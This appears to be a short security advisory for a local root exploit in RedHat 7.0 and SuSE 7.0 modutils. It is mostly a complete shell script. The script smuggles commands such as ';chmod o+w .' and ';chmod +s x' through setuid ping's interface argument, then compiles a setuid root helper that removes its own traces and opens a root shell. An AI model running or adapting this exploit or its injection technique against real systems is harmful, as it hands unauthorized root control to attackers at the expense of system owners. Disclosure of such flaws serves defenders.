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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

The userspace kernel helper application can be used to run shell commands. This enables local users to gain root privileges by exploiting a variety of applications.

Credit:
The information has been provided by Michal Zalewski.

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Vulnerable systems:
RedHat 7.0
SuSE 7.0

Immune systems:
RedHat versions prior to 7.0
SuSE versions prior to 7.0

Exploit:
#!/bin/sh

echo
echo "RedHat 7.0 modutils exploit"
echo "(c) 2000 Michal Zalewski <lcamtuf@ids.pl>"
echo "Bug discovery: Sebastian Krahmer <krahmer@cs.uni-potsdam.de>"
echo
echo "Do not have to work on older / non-RH systems. This bug has been"
echo "introduced recently. Enjoy :)"
echo
echo "This exploit is really hackish, because slashes are not allowed in"
echo "modprobe parameters, thus we have to play in modprobe's cwd (/)."
echo

PING=/bin/ping6
test -u $PING || PING=/bin/ping

if [ ! -u $PING ]; then
  echo "Sorry, no setuid ping."
  exit 0
fi

echo "Phase 1: making / world-writable..."

$PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null

sleep 1

echo "Phase 2: compiling helper application in /..."

cat >/x.c <<_eof_
main() {
  setuid(0); seteuid(0);
  system("chmod 755 /;rm -f /x; rm -f /x.c");
  execl("/bin/bash","bash","-i",0);
}
_eof_

gcc /x.c -o /x
chmod 755 /x

echo "Phase 3: chown+chmod on our helper application..."

$PING -I ';chown 0 x' 195.117.3.59 &>/dev/null
sleep 1
$PING -I ';chmod +s x' 195.117.3.59 &>/dev/null
sleep 1

if [ ! -u /x ]; then
  echo "Apparently, this is not exploitable on this system :("
  exit 1
fi

echo "Voila! Entering rootshell..."

/x

echo "Thank you."

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